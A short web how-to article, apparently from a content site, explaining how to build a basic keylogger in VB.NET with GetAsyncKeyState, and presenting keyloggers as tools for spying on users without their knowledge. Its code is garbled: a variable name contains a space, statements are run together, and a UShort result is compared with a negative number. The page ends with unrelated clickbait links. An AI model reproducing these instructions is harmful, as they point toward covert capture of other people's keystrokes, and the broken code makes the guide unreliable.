Knowing how to make a keylogger using Microsoft Visual Basic.NET (VB.NET) can save you time when you need to develop an application that captures all keys typed. Keylogger programs are commonly used to spy or obtain information without the user finding out the program is running. Laws vary by country on how you can use a keylogger program.
- Skill level:
Other People Are Reading
Things you need
- Microsoft Visual Basic Express
Start Microsoft Visual Basic Express. Click "New Project..." on the left pane of your screen, then select "Windows Forms Application." Click "OK."
Double-click "Timer" on the "Toolbox" pane to add a new timer control. Right-click "Timer1," then select "Properties." Next to "Enabled," select "True." Double-click "Timer1" to open the "Form1.vb" window.
Type the following code above "Timer1_Tick" to declare the "GetAsyncKeystate" function:
Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Int32) As UShort
Type the following code under "Timer1_Tick" to capture keys typed while the application is running:
Dim key Result As Integer
Dim chrKey As String Dim i As Integer For i = 2 To 90 key Result = 0 key Result = GetAsyncKeystate(i) If key Result = -32767 Then chrKey = Chr(i) MsgBox(chrKey) Exit For End If Next i
Press "F5" to run the program, then press "B" on the keyboard and you will see a message box displayed with the letter "B."
- 20 of the funniest online reviews ever
- 14 Biggest lies people tell in online dating sites
- Hilarious things Google thinks you're trying to search for